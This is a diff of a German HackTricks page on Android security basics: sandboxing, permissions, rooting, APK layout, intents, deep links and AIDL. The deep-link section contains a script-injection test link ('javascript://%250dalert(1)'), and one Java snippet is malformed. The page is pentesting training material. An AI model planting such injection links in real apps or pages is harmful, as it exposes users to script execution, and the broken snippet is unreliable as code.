Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
**Try Hard Security Group**
@ -27,120 +28,121 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
**Es gibt zwei Ebenen:**
* Das **Betriebssystem**, das installierte Anwendungen voneinander isoliert.
* Die **Anwendung selbst**, die Entwicklern ermöglicht, **bestimmte Funktionalitäten freizulegen** und Anwendungsfähigkeiten zu konfigurieren.
* Die **Anwendung selbst**, die es Entwicklern ermöglicht, **bestimmte Funktionen freizugeben** und die Anwendungsfähigkeiten zu konfigurieren.
### UID-Trennung
**Jede Anwendung wird eine spezifische Benutzer-ID zugewiesen**. Dies geschieht während der Installation der App, damit **die App nur mit Dateien interagieren kann, die ihrer Benutzer-ID gehören oder gemeinsam genutzte** Dateien. Daher können nur die App selbst, bestimmte Komponenten des Betriebssystems und der Root-Benutzer auf die Daten der Apps zugreifen.
**Jede Anwendung wird eine spezifische Benutzer-ID zugewiesen**. Dies geschieht während der Installation der App, sodass **die App nur mit Dateien interagieren kann, die ihrer Benutzer-ID gehören oder freigegebene** Dateien sind. Daher können nur die App selbst, bestimmte Komponenten des Betriebssystems und der Root-Benutzer auf die Anwendungsdaten zugreifen.
### UID-Sharing
### UID-Teilung
**Zwei Anwendungen können so konfiguriert werden, dass sie dieselbe UID verwenden**. Dies kann nützlich sein, um Informationen zu teilen, aber wenn eine von ihnen kompromittiert ist, werden die Daten beider Anwendungen kompromittiert. Deshalb wird dieses Verhalten **nicht empfohlen**.\
**Um dieselbe UID zu teilen, müssen Anwendungen denselben `android:sharedUserId`-Wert in ihren Manifesten definieren.**
**Zwei Anwendungen können so konfiguriert werden, dass sie dieselbe UID verwenden**. Dies kann nützlich sein, um Informationen zu teilen, aber wenn eine von ihnen kompromittiert wird, sind die Daten beider Anwendungen gefährdet. Aus diesem Grund wird dieses Verhalten **missbilligt**.\
**Um dieselbe UID zu teilen, müssen Anwendungen denselben `android:sharedUserId`-Wert in ihren Manifests definieren.**
### Sandboxing
### Sandbox
Das **Android Application Sandbox** ermöglicht es, **jede Anwendung** als **eigenen Prozess unter einer separaten Benutzer-ID** auszuführen. Jeder Prozess hat seine eigene virtuelle Maschine, sodass der Code einer App isoliert von anderen Apps ausgeführt wird.\
Ab Android 5.0(L) wird **SELinux** durchgesetzt. Grundsätzlich hat SELinux alle Prozessinteraktionen verweigert und dann Richtlinien erstellt, um **nur die erwarteten Interaktionen zwischen ihnen zuzulassen**.
Die **Android-Anwendungs-Sandbox** ermöglicht es, **jede Anwendung** als **separaten Prozess unter einer separaten Benutzer-ID** auszuführen. Jeder Prozess hat seine eigene virtuelle Maschine, sodass der Code einer App isoliert von anderen Apps ausgeführt wird.\
Seit Android 5.0(L) wird **SELinux** durchgesetzt. Grundsätzlich hat SELinux alle Prozessinteraktionen verweigert und dann Richtlinien erstellt, um **nur die erwarteten Interaktionen zwischen ihnen zuzulassen**.
### Berechtigungen
Wenn Sie eine **App installieren und um Berechtigungen bitten**, fordert die App die in den **`uses-permission`**-Elementen in der **AndroidManifest.xml**-Datei konfigurierten Berechtigungen an. Das **uses-permission**-Element gibt den Namen der angeforderten Berechtigung im **name**-**Attribut** an. Es hat auch das **maxSdkVersion**-Attribut, das das Anfordern von Berechtigungen auf Versionen höher als die angegebene stoppt.\
Beachten Sie, dass Android-Anwendungen nicht alle Berechtigungen von Anfang an anfordern müssen, sie können auch **Berechtigungen dynamisch anfordern**, aber alle Berechtigungen müssen im **Manifest deklariert** sein.
Wenn Sie eine **App installieren und sie nach Berechtigungen fragt**, fragt die App nach den Berechtigungen, die in den **`uses-permission`**-Elementen in der **AndroidManifest.xml**-Datei konfiguriert sind. Das **uses-permission**-Element gibt den Namen der angeforderten Berechtigung im **name**-Attribut an. Es hat auch das **maxSdkVersion**-Attribut, das das Anfordern von Berechtigungen in Versionen über der angegebenen stoppt.\
Beachten Sie, dass Android-Anwendungen nicht alle Berechtigungen zu Beginn anfordern müssen; sie können auch **dynamisch nach Berechtigungen fragen**, aber alle Berechtigungen müssen im **Manifest** **deklarieren**.
Wenn eine App Funktionalitäten freigibt, kann sie den **Zugriff nur auf Apps beschränken, die über eine bestimmte Berechtigung verfügen**.\
Wenn eine App Funktionalität freigibt, kann sie den **Zugriff nur auf Apps beschränken, die über eine bestimmte Berechtigung verfügen**.\
Ein Berechtigungselement hat drei Attribute:
* Der **Name** der Berechtigung
* Das **permission-group**-Attribut, das das Gruppieren von verwandten Berechtigungen ermöglicht.
* Das **Schutzniveau**, das angibt, wie die Berechtigungen gewährt werden. Es gibt vier Typen:
* **Normal**: Wird verwendet, wenn der App **keine bekannten Bedrohungen** drohen. Der Benutzer muss sie **nicht genehmigen**.
* **Gefährlich**: Gibt an, dass die Berechtigung der anfordernden Anwendung einen **erhöhten Zugriff** gewährt. **Benutzer werden aufgefordert, sie zu genehmigen**.
* **Signature**: Nur **Apps, die vom selben Zertifikat wie das exportierende** Komponente signiert sind, können Berechtigungen erhalten. Dies ist die stärkste Schutzart.
* **SignatureOrSystem**: Nur **Apps, die vom selben Zertifikat wie das exportierende** Komponente signiert sind oder **Apps, die mit Systemzugriff ausgeführt werden**, können Berechtigungen erhalten.
* Den **Namen** der Berechtigung
* Das **permission-group**-Attribut, das das Gruppieren verwandter Berechtigungen ermöglicht.
* Das **protection-level**, das angibt, wie die Berechtigungen gewährt werden. Es gibt vier Typen:
* **Normal**: Wird verwendet, wenn es **keine bekannten Bedrohungen** für die App gibt. Der Benutzer muss **es nicht genehmigen**.
* **Dangerous**: Gibt an, dass die Berechtigung der anfordernden Anwendung einen **erhöhten Zugriff** gewährt. **Benutzer werden gebeten, sie zu genehmigen**.
* **Signature**: Nur **Apps, die mit demselben Zertifikat wie das, das die Komponente exportiert, signiert sind**, können die Berechtigung erhalten. Dies ist die stärkste Art des Schutzes.
* **SignatureOrSystem**: Nur **Apps, die mit demselben Zertifikat wie das, das die Komponente exportiert, signiert sind, oder **Apps, die mit Systemzugriff ausgeführt werden**, können Berechtigungen erhalten.
## Vorinstallierte Anwendungen
Diese Apps befinden sich in der Regel in den Verzeichnissen **`/system/app`** oder **`/system/priv-app`** und einige von ihnen sind **optimiert** (Sie finden möglicherweise nicht einmal die Datei `classes.dex`). Diese Anwendungen sind es wert, überprüft zu werden, da sie manchmal mit zu vielen Berechtigungen (als Root) **ausgeführt werden**.
Diese Apps befinden sich normalerweise in den **`/system/app`** oder **`/system/priv-app`** Verzeichnissen, und einige von ihnen sind **optimiert** (Sie finden möglicherweise nicht einmal die `classes.dex`-Datei). Diese Anwendungen sind es wert, überprüft zu werden, da sie manchmal **mit zu vielen Berechtigungen** (als Root) **ausgeführt werden**.
* Diejenigen, die mit dem **AOSP** (Android OpenSource Project) **ROM** ausgeliefert werden
* Hinzugefügt vom Gerätehersteller
* Hinzugefügt vom Mobilfunkanbieter (wenn vom Anbieter gekauft)
* Die mit dem **AOSP** (Android OpenSource Project) **ROM** gelieferten
* Vom Gerätehersteller hinzugefügt
* Vom Mobilfunkanbieter hinzugefügt (wenn sie von ihnen gekauft wurden)
## Rooting
Um Root-Zugriff auf ein physisches Android-Gerät zu erhalten, müssen Sie in der Regel 1 oder 2 **Schwachstellen ausnutzen**, die normalerweise **spezifisch** für das **Gerät** und die **Version** sind.\
Sobald der Exploit funktioniert hat, wird normalerweise das Linux `su`-Binär in einen vom Benutzer definierten Pfad wie `/system/xbin` kopiert.
Um Root-Zugriff auf ein physisches Android-Gerät zu erhalten, müssen Sie in der Regel 1 oder 2 **Schwachstellen** **ausnutzen**, die normalerweise **spezifisch** für das **Gerät** und die **Version** sind.\
Sobald der Exploit funktioniert hat, wird normalerweise die Linux `su`-Binärdatei an einem Ort kopiert, der in der PATH-Umgebungsvariablen des Benutzers angegeben ist, wie z.B. `/system/xbin`.
Sobald das su-Binär konfiguriert ist, wird eine andere Android-App verwendet, um mit dem `su`-Binär zu interagieren und **Anfragen für Root-Zugriff zu verarbeiten** wie **Superuser** und **SuperSU** (erhältlich im Google Play Store).
Sobald die su-Binärdatei konfiguriert ist, wird eine andere Android-App verwendet, um mit der `su`-Binärdatei zu interagieren und **Anfragen für Root-Zugriff** wie **Superuser** und **SuperSU** (verfügbar im Google Play Store) zu verarbeiten.
{% hint style="danger" %}
Beachten Sie, dass der Rooting-Prozess sehr gefährlich ist und das Gerät schwer beschädigen kann
Beachten Sie, dass der Rooting-Prozess sehr gefährlich ist und das Gerät schwer beschädigen kann.
{% endhint %}
### ROMs
Es ist möglich, das Betriebssystem zu **ersetzen, indem Sie eine benutzerdefinierte Firmware installieren**. Dadurch ist es möglich, die Nützlichkeit eines alten Geräts zu erweitern, Softwarebeschränkungen zu umgehen oder Zugriff auf den neuesten Android-Code zu erhalten.\
**OmniROM** und **LineageOS** sind zwei der beliebtesten Firmware-Versionen.
Es ist möglich, das **Betriebssystem durch die Installation einer benutzerdefinierten Firmware zu ersetzen**. Dadurch ist es möglich, die Nützlichkeit eines alten Geräts zu erweitern, Softwarebeschränkungen zu umgehen oder Zugriff auf den neuesten Android-Code zu erhalten.\
**OmniROM** und **LineageOS** sind zwei der beliebtesten Firmwares, die verwendet werden.
Beachten Sie, dass **nicht immer eine Root-Berechtigung erforderlich ist**, um eine benutzerdefinierte Firmware zu installieren. **Einige Hersteller erlauben** das Entsperren ihrer Bootloader auf dokumentierte und sichere Weise.
Beachten Sie, dass **es nicht immer notwendig ist, das Gerät zu rooten**, um eine benutzerdefinierte Firmware zu installieren. **Einige Hersteller erlauben** das Entsperren ihrer Bootloader auf eine gut dokumentierte und sichere Weise.
### Auswirkungen
Sobald ein Gerät gerootet ist, könnte jede App Zugriff als Root anfordern. Wenn eine bösartige Anwendung dies erhält, kann sie auf fast alles zugreifen und das Telefon beschädigen.
Sobald ein Gerät gerootet ist, könnte jede App Zugriff als Root anfordern. Wenn eine bösartige Anwendung dies erhält, hat sie Zugriff auf fast alles und kann das Telefon beschädigen.
## Grundlagen von Android-Anwendungen <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
## Grundlagen der Android-Anwendung <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- Das Format von Android-Anwendungen wird als _APK-Dateiformat_ bezeichnet. Es handelt sich im Wesentlichen um eine **ZIP-Datei** (durch Umbenennen der Dateierweiterung in .zip können die Inhalte extrahiert und angezeigt werden).
- Das Format von Android-Anwendungen wird als _APK-Dateiformat_ bezeichnet. Es ist im Wesentlichen eine **ZIP-Datei** (durch Umbenennen der Dateierweiterung in .zip können die Inhalte extrahiert und angezeigt werden).
- APK-Inhalte (nicht erschöpfend)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc: enthält vorab kompilierte Ressourcen, wie binäre XML.
- resources.arsc: enthält vorkompilierte Ressourcen, wie binäres XML.
- res/xml/files\_paths.xml
- META-INF/
- Hier befindet sich das Zertifikat!
- **classes.dex**
- Enthält Dalvik-Bytecode, der den standardmäßig ausgeführten kompilierten Java- (oder Kotlin-)Code der Anwendung darstellt.
- Enthält Dalvik-Bytecode, der den kompilierten Java- (oder Kotlin-)Code darstellt, den die Anwendung standardmäßig ausführt.
- lib/
- Enthält native Bibliotheken, aufgeteilt nach CPU-Architektur in Unterverzeichnissen.
- Beherbergt native Bibliotheken, die nach CPU-Architektur in Unterverzeichnissen segregiert sind.
- `armeabi`: Code für ARM-basierte Prozessoren
- `armeabi-v7a`: Code für ARMv7 und höhere Prozessoren
- `armeabi-v7a`: Code für ARMv7 und höher basierte Prozessoren
- `x86`: Code für X86-Prozessoren
- `mips`: Code nur für MIPS-Prozessoren
- assets/
- Speichert verschiedene Dateien, die von der App benötigt werden, möglicherweise einschließlich zusätzlicher nativer Bibliotheken oder DEX-Dateien, die manchmal von Malware-Autoren verwendet werden, um zusätzlichen Code zu verbergen.
- res/
- Enthält Ressourcen, die nicht in resources.arsc kompiliert sind.
### **Dalvik & Smali**
In der Android-Entwicklung wird **Java oder Kotlin** zur Erstellung von Apps verwendet. Anstatt wie bei Desktop-Apps den JVM zu verwenden, kompiliert Android diesen Code in **Dalvik Executable (DEX) Bytecode**. Früher verarbeitete die Dalvik Virtual Machine diesen Bytecode, aber jetzt übernimmt in neueren Android-Versionen die Android-Laufzeitumgebung (ART).
In der Android-Entwicklung wird **Java oder Kotlin** zur Erstellung von Apps verwendet. Anstelle der Verwendung der JVM wie in Desktop-Apps kompiliert Android diesen Code in **Dalvik Executable (DEX) Bytecode**. Früher verwaltete die Dalvik-VM diesen Bytecode, aber jetzt übernimmt die Android Runtime (ART) in neueren Android-Versionen.
Für Reverse Engineering wird **Smali** entscheidend. Es handelt sich um die menschenlesbare Version des DEX-Bytecodes, die wie eine Assemblersprache fungiert, indem sie den Quellcode in Bytecode-Anweisungen übersetzt. Smali und baksmali beziehen sich in diesem Kontext auf die Assemblierungs- und Disassemblierungstools.
Für die Rückentwicklung wird **Smali** entscheidend. Es ist die menschenlesbare Version von DEX-Bytecode und fungiert wie eine Assemblersprache, indem es Quellcode in Bytecode-Anweisungen übersetzt. Smali und baksmali beziehen sich in diesem Kontext auf die Assemblierungs- und Disassemblierungswerkzeuge.
## Intents
Intents sind das Hauptmittel, mit dem Android-Apps zwischen ihren Komponenten oder mit anderen Apps kommunizieren. Diese Nachrichtenobjekte können auch Daten zwischen Apps oder Komponenten übertragen, ähnlich wie GET/POST-Anfragen bei HTTP-Kommunikation verwendet werden.
Intents sind das primäre Mittel, durch das Android-Apps zwischen ihren Komponenten oder mit anderen Apps kommunizieren. Diese Nachrichtenobjekte können auch Daten zwischen Apps oder Komponenten übertragen, ähnlich wie GET/POST-Anfragen in HTTP-Kommunikationen verwendet werden.
Ein Intent ist also im Grunde genommen eine **Nachricht, die zwischen Komponenten übermittelt wird**. Intents **können an bestimmte Komponenten oder Apps gerichtet sein**, **oder ohne einen spezifischen Empfänger gesendet werden**.\
Um es einfach auszudrücken, kann ein Intent verwendet werden:
Ein Intent ist also im Grunde eine **Nachricht, die zwischen Komponenten übergeben wird**. Intents **können an** bestimmte Komponenten oder Apps **gerichtet** werden oder **ohne einen bestimmten Empfänger gesendet werden**.\
Einfach gesagt, kann ein Intent verwendet werden:
* Um eine Aktivität zu starten, die normalerweise eine Benutzeroberfläche für eine App öffnet
* Um eine Aktivität zu starten, die typischerweise eine Benutzeroberfläche für eine App öffnet
* Als Broadcasts, um das System und Apps über Änderungen zu informieren
* Um einen Hintergrunddienst zu starten, zu stoppen und mit ihm zu kommunizieren
* Um auf Daten über ContentProvider zuzugreifen
* Als Rückrufe, um Ereignisse zu behandeln
* Um auf Daten über ContentProviders zuzugreifen
* Als Rückrufe zur Behandlung von Ereignissen
Wenn anfällig, **können Intents verwendet werden, um eine Vielzahl von Angriffen durchzuführen**.
Wenn sie anfällig sind, **können Intents verwendet werden, um eine Vielzahl von Angriffen durchzuführen**.
### Intent-Filter
**Intent-Filter** definieren **wie eine Aktivität, ein Dienst oder ein Broadcast-Empfänger mit verschiedenen Arten von Intents interagieren kann**. Im Wesentlichen beschreiben sie die Fähigkeiten dieser Komponenten, wie z.B. welche Aktionen sie ausführen können oder welche Arten von Broadcasts sie verarbeiten können. Der primäre Ort, um diese Filter zu deklarieren, ist innerhalb der **AndroidManifest.xml-Datei**, obwohl es auch möglich ist, sie für Broadcast-Empfänger zu codieren.
**Intent-Filter** definieren, **wie eine Aktivität, ein Dienst oder ein Broadcast-Empfänger mit verschiedenen Arten von Intents interagieren kann**. Im Wesentlichen beschreiben sie die Fähigkeiten dieser Komponenten, wie z.B. welche Aktionen sie ausführen können oder welche Arten von Broadcasts sie verarbeiten können. Der primäre Ort, um diese Filter zu deklarieren, ist innerhalb der **AndroidManifest.xml-Datei**, obwohl es auch eine Option ist, sie für Broadcast-Empfänger zu codieren.
Intent-Filter bestehen aus Kategorien, Aktionen und Datenfiltern, mit der Möglichkeit, zusätzliche Metadaten einzuschließen. Diese Konfiguration ermöglicht es Komponenten, spezifische Intents zu verarbeiten, die den deklarierten Kriterien entsprechen.
Ein entscheidender Aspekt von Android-Komponenten (Aktivitäten/Dienste/Content-Provider/Broadcast-Empfänger) ist ihre Sichtbarkeit oder **öffentlicher Status**. Eine Komponente wird als öffentlich betrachtet und kann mit anderen Apps interagieren, wenn sie mit einem Wert von **`true`** als **`exportiert`** markiert ist oder wenn für sie ein Intent-Filter im Manifest deklariert ist. Es gibt jedoch eine Möglichkeit für Entwickler, diese Komponenten explizit privat zu halten, um sicherzustellen, dass sie nicht unbeabsichtigt mit anderen Apps interagieren. Dies wird erreicht, indem das Attribut **`exportiert`** in ihren Manifestdefinitionen auf **`false`** gesetzt wird.
Ein kritischer Aspekt von Android-Komponenten (Aktivitäten/Dienste/Inhaltsanbieter/Broadcast-Empfänger) ist ihre Sichtbarkeit oder **öffentlicher Status**. Eine Komponente wird als öffentlich betrachtet und kann mit anderen Apps interagieren, wenn sie **`exported`** mit einem Wert von **`true`** oder wenn ein Intent-Filter für sie im Manifest deklariert ist. Es gibt jedoch eine Möglichkeit für Entwickler, diese Komponenten ausdrücklich privat zu halten, um sicherzustellen, dass sie nicht unbeabsichtigt mit anderen Apps interagieren. Dies wird erreicht, indem das **`exported`**-Attribut in ihren Manifestdefinitionen auf **`false`** gesetzt wird.
Darüber hinaus haben Entwickler die Möglichkeit, den Zugriff auf diese Komponenten weiter abzusichern, indem sie spezifische Berechtigungen verlangen. Das Attribut **`permission`** kann festgelegt werden, um durchzusetzen, dass nur Apps mit der festgelegten Berechtigung auf die Komponente zugreifen können, was eine zusätzliche Sicherheitsebene und Kontrolle darüber bietet, wer mit ihr interagieren kann.
Darüber hinaus haben Entwickler die Möglichkeit, den Zugriff auf diese Komponenten weiter abzusichern, indem sie spezifische Berechtigungen verlangen. Das **`permission`**-Attribut kann so festgelegt werden, dass nur Apps mit der vorgesehenen Berechtigung auf die Komponente zugreifen können, was eine zusätzliche Sicherheitsebene und Kontrolle darüber hinzufügt, wer mit ihr interagieren kann.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -148,11 +150,11 @@ Darüber hinaus haben Entwickler die Möglichkeit, den Zugriff auf diese Kompone
```
### Implizite Intents
Intents werden programmgesteuert mithilfe eines Intent-Konstruktors erstellt:
Intents werden programmgesteuert mit einem Intent-Konstruktor erstellt:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
Die **Aktion** des zuvor deklarierten Intents ist **ACTION\_SEND** und das **Extra** ist eine mailto-**Uri** (das Extra ist die zusätzliche Information, die der Intent erwartet).
Die **Aktion** des zuvor deklarierten Intents ist **ACTION\_SEND** und das **Extra** ist ein mailto **Uri** (das Extra ist die zusätzliche Information, die der Intent erwartet).
Dieser Intent sollte im Manifest wie im folgenden Beispiel deklariert werden:
```xml
@ -163,9 +165,9 @@ Dieser Intent sollte im Manifest wie im folgenden Beispiel deklariert werden:
</intent-filter>
</activity>
```
Ein Intent-Filter muss die **Aktion**, **Daten** und **Kategorie** übereinstimmen, um eine Nachricht zu empfangen.
Ein intent-filter muss die **Aktion**, **Daten** und **Kategorie** übereinstimmen, um eine Nachricht zu empfangen.
Der "Intent-Auflösungsprozess" bestimmt, welche App jede Nachricht erhalten soll. Dieser Prozess berücksichtigt das **Prioritätsattribut**, das in der **Intent-Filter-Deklaration** festgelegt werden kann, und **die mit der höheren Priorität wird ausgewählt**. Diese Priorität kann zwischen -1000 und 1000 festgelegt werden, und Anwendungen können den Wert `SYSTEM_HIGH_PRIORITY` verwenden. Wenn ein **Konflikt** auftritt, erscheint ein "Auswahlfenster", damit der **Benutzer entscheiden kann**.
Der Prozess der "Intent-Auflösung" bestimmt, welche App jede Nachricht empfangen soll. Dieser Prozess berücksichtigt das **Prioritätsattribut**, das in der **intent-filter-Deklaration** festgelegt werden kann, und **die mit der höheren Priorität wird ausgewählt**. Diese Priorität kann zwischen -1000 und 1000 festgelegt werden, und Anwendungen können den Wert `SYSTEM_HIGH_PRIORITY` verwenden. Wenn ein **Konflikt** auftritt, erscheint ein "Chooser"-Fenster, damit der **Benutzer entscheiden kann**.
### Explizite Intents
@ -173,38 +175,38 @@ Ein expliziter Intent gibt den Klassennamen an, den er anvisiert:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
In anderen Anwendungen können Sie auf das zuvor deklarierte Intent zugreifen, indem Sie Folgendes verwenden:
In anderen Anwendungen, um auf das zuvor deklarierte Intent zuzugreifen, können Sie Folgendes verwenden:
```java
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);
```
### Ausstehende Absichten
### Pending Intents
Diese ermöglichen es anderen Anwendungen, **im Namen Ihrer Anwendung Aktionen auszuführen**, unter Verwendung der Identität und Berechtigungen Ihrer App. Beim Erstellen einer ausstehenden Absicht sollte **eine Absicht und die auszuführende Aktion angegeben werden**. Wenn die **deklarierte Absicht nicht explizit ist** (nicht angibt, welche Absicht sie aufrufen kann), könnte eine **bösartige Anwendung die deklarierte Aktion im Namen der Opfer-App ausführen**. Darüber hinaus, **wenn keine Aktion angegeben ist**, kann die bösartige App **beliebige Aktionen im Namen des Opfers ausführen**.
Diese ermöglichen es anderen Anwendungen, **Aktionen im Namen Ihrer Anwendung auszuführen**, unter Verwendung der Identität und Berechtigungen Ihrer App. Beim Erstellen eines Pending Intent sollte **ein Intent und die auszuführende Aktion angegeben werden**. Wenn der **deklarierte Intent nicht explizit ist** (nicht angibt, welcher Intent ihn aufrufen kann), könnte eine **bösartige Anwendung die deklarierte Aktion** im Namen der Opfer-App ausführen. Darüber hinaus, **wenn keine Aktion angegeben ist**, kann die bösartige App **jede Aktion im Namen des Opfers** durchführen.
### Broadcast-Absichten
### Broadcast Intents
Im Gegensatz zu den vorherigen Absichten, die nur von einer App empfangen werden, können Broadcast-Absichten **von mehreren Apps empfangen werden**. Ab API-Version 14 ist es **möglich, die App anzugeben, die die Nachricht empfangen soll**, indem Intent.setPackage verwendet wird.
Im Gegensatz zu den vorherigen Intents, die nur von einer App empfangen werden, **können Broadcast Intents von mehreren Apps empfangen werden**. Ab API-Version 14 ist es jedoch **möglich, die App anzugeben, die die Nachricht empfangen soll**, indem man Intent.setPackage verwendet.
Alternativ ist es auch möglich, **eine Berechtigung beim Senden des Broadcasts anzugeben**. Die empfangende App muss über diese Berechtigung verfügen.
Alternativ ist es auch möglich, **eine Berechtigung beim Senden des Broadcasts anzugeben**. Die empfangende App muss diese Berechtigung haben.
Es gibt **zwei Arten** von Broadcasts: **Normal** (asynchron) und **Geordnet** (synchron). Die **Reihenfolge** basiert auf der **konfigurierten Priorität innerhalb des Empfängerelements**. **Jede App kann den Broadcast verarbeiten, weiterleiten oder verwerfen**.
Es gibt **zwei Arten** von Broadcasts: **Normal** (asynchron) und **Ordered** (synchron). Die **Reihenfolge** basiert auf der **konfigurierten Priorität innerhalb des Empfängerelements**. **Jede App kann den Broadcast verarbeiten, weiterleiten oder verwerfen.**
Es ist möglich, einen **Broadcast** mithilfe der Funktion `sendBroadcast(intent, receiverPermission)` aus der Klasse `Context` zu **senden**.\
Sie könnten auch die Funktion **`sendBroadcast`** des **`LocalBroadCastManager`** verwenden, um sicherzustellen, dass die **Nachricht die App nie verlässt**. Dadurch müssen Sie nicht einmal einen Empfänger exportieren.
Es ist möglich, einen **Broadcast** mit der Funktion `sendBroadcast(intent, receiverPermission)` aus der `Context`-Klasse zu **senden**.\
Sie könnten auch die Funktion **`sendBroadcast`** aus dem **`LocalBroadCastManager`** verwenden, die sicherstellt, dass die **Nachricht die App niemals verlässt**. Damit müssen Sie nicht einmal eine Empfangskomponente exportieren.
### Sticky-Broadcasts
### Sticky Broadcasts
Diese Art von Broadcasts **können lange nach dem Senden abgerufen werden**.\
Diese wurden in der API-Ebene 21 veraltet und es wird empfohlen, **sie nicht zu verwenden**.\
**Sie ermöglichen es jeder Anwendung, die Daten abzufangen, aber auch zu ändern**.
Diese Art von Broadcasts **kann lange nach dem Senden abgerufen werden**.\
Diese wurden in API-Stufe 21 als veraltet markiert und es wird empfohlen, **sie nicht zu verwenden**.\
**Sie ermöglichen es jeder Anwendung, die Daten abzuhören, aber auch sie zu ändern.**
Wenn Sie Funktionen finden, die das Wort "sticky" enthalten, wie **`sendStickyBroadcast`** oder **`sendStickyBroadcastAsUser`**, **überprüfen Sie die Auswirkungen und versuchen Sie, sie zu entfernen**.
Wenn Sie Funktionen finden, die das Wort "sticky" enthalten, wie **`sendStickyBroadcast`** oder **`sendStickyBroadcastAsUser`**, **prüfen Sie die Auswirkungen und versuchen Sie, sie zu entfernen**.
## Deep Links / URL-Schemas
## Deep links / URL schemes
In Android-Anwendungen werden **Deep Links** verwendet, um eine Aktion (Intent) direkt über eine URL zu initiieren. Dies wird durch Deklarieren eines spezifischen **URL-Schemas** innerhalb einer Aktivität erreicht. Wenn ein Android-Gerät versucht, **auf eine URL mit diesem Schema zuzugreifen**, wird die angegebene Aktivität innerhalb der Anwendung gestartet.
In Android-Anwendungen werden **Deep Links** verwendet, um eine Aktion (Intent) direkt über eine URL zu initiieren. Dies geschieht durch die Deklaration eines spezifischen **URL-Schemas** innerhalb einer Aktivität. Wenn ein Android-Gerät versucht, **auf eine URL mit diesem Schema zuzugreifen**, wird die angegebene Aktivität innerhalb der Anwendung gestartet.
Das Schema muss in der **`AndroidManifest.xml`**-Datei deklariert werden:
```xml
@ -218,44 +220,44 @@ Das Schema muss in der **`AndroidManifest.xml`**-Datei deklariert werden:
</intent-filter>
[...]
```
Die Schema aus dem vorherigen Beispiel ist `exampleapp://` (beachten Sie auch die **`Kategorie BROWSABLE`**)
Das Schema aus dem vorherigen Beispiel ist `exampleapp://` (beachten Sie auch die **`category BROWSABLE`**)
Dann können Sie im Datenfeld den **Host** und den **Pfad** angeben:
Dann können Sie im Datenfeld den **host** und den **path** angeben:
```xml
<data android:scheme="examplescheme"
android:host="example"
/>
```
Um darauf zuzugreifen, ist es möglich, einen Link wie folgt festzulegen:
Um von einer Webseite darauf zuzugreifen, ist es möglich, einen Link wie folgt zu setzen:
```xml
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
```
Um den **Code zu finden, der in der App ausgeführt wird**, gehen Sie zur Aktivität, die durch den Deeplink aufgerufen wird, und suchen Sie die Funktion **`onNewIntent`**.
Erfahren Sie, wie Sie [Deeplinks aufrufen, ohne HTML-Seiten zu verwenden](./#exploiting-schemes-deep-links).
Erfahren Sie, wie Sie [Deep Links ohne Verwendung von HTML-Seiten aufrufen](./#exploiting-schemes-deep-links).
## AIDL - Android Interface Definition Language
Die **Android Interface Definition Language (AIDL)** ist darauf ausgelegt, die Kommunikation zwischen Client und Service in Android-Anwendungen durch **Interprozesskommunikation** (IPC) zu erleichtern. Da der direkte Zugriff auf den Speicher eines anderen Prozesses auf Android nicht erlaubt ist, vereinfacht AIDL den Prozess, indem Objekte in ein vom Betriebssystem verstandenes Format umgewandelt werden, wodurch die Kommunikation zwischen verschiedenen Prozessen erleichtert wird.
Die **Android Interface Definition Language (AIDL)** ist darauf ausgelegt, die Kommunikation zwischen Client und Dienst in Android-Anwendungen durch **interprozessuale Kommunikation** (IPC) zu erleichtern. Da der direkte Zugriff auf den Speicher eines anderen Prozesses auf Android nicht gestattet ist, vereinfacht AIDL den Prozess, indem Objekte in ein vom Betriebssystem verstandenes Format umgewandelt werden, wodurch die Kommunikation zwischen verschiedenen Prozessen erleichtert wird.
### Schlüsselkonzepte
